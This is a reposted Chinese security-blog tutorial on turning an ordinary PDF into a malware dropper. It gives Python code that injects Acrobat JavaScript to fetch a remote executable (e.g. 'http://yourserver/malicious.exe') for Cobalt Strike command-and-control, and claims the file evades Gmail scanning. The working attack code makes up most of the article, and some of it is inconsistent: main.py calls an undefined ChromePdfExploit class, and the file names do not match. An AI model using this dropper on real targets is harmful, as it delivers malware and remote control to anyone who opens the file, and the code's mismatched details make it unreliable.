Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

admin 2024年7月26日22:02:39评论30 views字数 2949阅读9分49秒阅读模式

Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

介绍

PDF 文件通常被大多数人视为静态文档。但是,PDF 标准允许在文档中执行 JavaScript 代码。此功能提供了可用于红队测试和网络安全研究的各种攻击媒介。在本文中,我们将研究如何将 JavaScript 注入 PDF 文件以从特定 URL 下载文件并使用此方法建立命令和控制 (C2) 连接。

要使用的工具和方法

在本文中,我们将使用以下工具注入恶意代码并创建 PDF 投放器:

  • Python:创建和操作 PDF 文件。

  • fpdf2 库:将 JavaScript 添加到 PDF 文件。

  • Cobalt Strike Payload 用于 C2 连接:建立连接。如果您愿意,可以使用其他 C2 或 RAT。

将 JavaScript 添加到 PDF 文件

JavaScript 可用于 PDF 文件中的各种用途。但是,与 HTML 和网页中的 JavaScript 相比,PDF 文件中 JavaScript 的功能更为有限。出于安全原因,浏览器和 PDF 查看器会限制 PDF 中 JavaScript 的访问区域。不过,我们可以在这些限制内执行某些操作。

创建 PDF Dropper

要将恶意代码添加到 PDF 文件并从特定 URL 下载文件,我们可以按照以下步骤操作:

步骤 1:安装所需的 Python 库

首先,我们需要安装所需的 Python 库。我们将使用 fpdf2 库来创建和操作 PDF 文件。

pip install fpdf2

步骤 2:向 PDF 添加 JavaScript 代码

以下 Python 代码允许您将 JavaScript 添加到 PDF 文件以从特定 URL 下载文件。

> adobecodeinject.py 文件

from core import *from core.imp import *class AdobeCodeInject():    def __init__(self, target_url: str) -> None:        self.target_url = target_url    def _make_action(self) -> DictionaryObject:        js_code = f"""try {{    app.launchURL('{self.target_url}', true);}} catch (e) {{    app.alert('Error: ' + e.message);}}"""        return DictionaryObject({            NameObject("/S"): NameObject("/JavaScript"),            NameObject("/JS"): TextStringObject(js_code),        })    def _make_annot(self, rect: RectangleObject, action: IndirectObject) -> DictionaryObject:        annot = DictionaryObject({            NameObject("/Type"): NameObject("/Annot"),            NameObject("/Subtype"): NameObject("/Widget"),            NameObject("/Rect"): rect,            NameObject("/FT"): NameObject("/Btn"),            NameObject("/T"): TextStringObject("Open URL"),            NameObject("/Ff"): NumberObject(4),             NameObject("/A"): action,        })        return annot    def exploit(self, pdf: Pdf):        action = self._make_action()        for p in pdf.pages:            arct = p.artbox            if not isinstance(arct, RectangleObject):                arct = p.mediabox            if not isinstance(arct, RectangleObject):                arct = p.bleedbox            print(f"{p.page_number} use arct: {arct}")            annot = self._make_annot(arct, pdf.add_object(action))            pdf.add_annotation(p, annot)

>主脚本文件(main.py)

您可以按如下方式使用主脚本文件:

#! ./.venv/bin/python3import argparseimport sysimport ossys.path.append(os.path.dirname(os.path.abspath(__file__)))from core import Pdffrom adobecodeinject import AdobeCodeInjectdef run():    parser = argparse.ArgumentParser(prog='pdf-exploit')    parser.add_argument("-f", help="the harmless pdf path", required=True)    parser.add_argument("-p", help="password", required=False)    parser.add_argument("-o", help="the new pdf file", required=True)    chrome_group = parser.add_argument_group(        title="chrome", description="Chrome PDF exploit using JavaScript")    chrome_group.add_argument("-downloadUrl", dest="downloadUrl", required=True)    args = parser.parse_args()    pdf = Pdf(args.f, args.p)    if args.downloadUrl:        print(f"[+] use the Chrome PDF exploit: {args.downloadUrl}")        exp = ChromePdfExploit(args.downloadUrl)        exp.exploit(pdf)        print("")    print(f"[+] store to {args.o}")    pdf.store(args.o)if __name__ == "__main__":    run()

创建和测试 PDF 文件

您可以使用以下命令创建 PDF 文件:

python main.py -f original.pdf -o exploit.pdf -downloadUrl http://yourserver/malicious.exe

当您在 Adobe Acrobat 中打开exploted.pdf文件时,它会在打开PDF时从http://localhost/test.exe下载该文件。此方法对于Adobe Acrobat软件特别有效。

此方法甚至可以使 Gmail 将文件扫描为常规 PDF。

Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

情景视频

在下面的视频中,您可以看到该场景是如何运作的:

源代码

您可以在 GitHub 上找到完整的代码:GitHub Repository    https://github.com/0x6rss/pdfdropper

原文始发于微信公众号(Ots安全):Cobalt Strike 有效负载将恶意 JavaScript 注入 PDF

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月26日22:02:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cobalt Strike 有效负载将恶意 JavaScript 注入 PDFhttps://cn-sec.com/archives/3001304.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息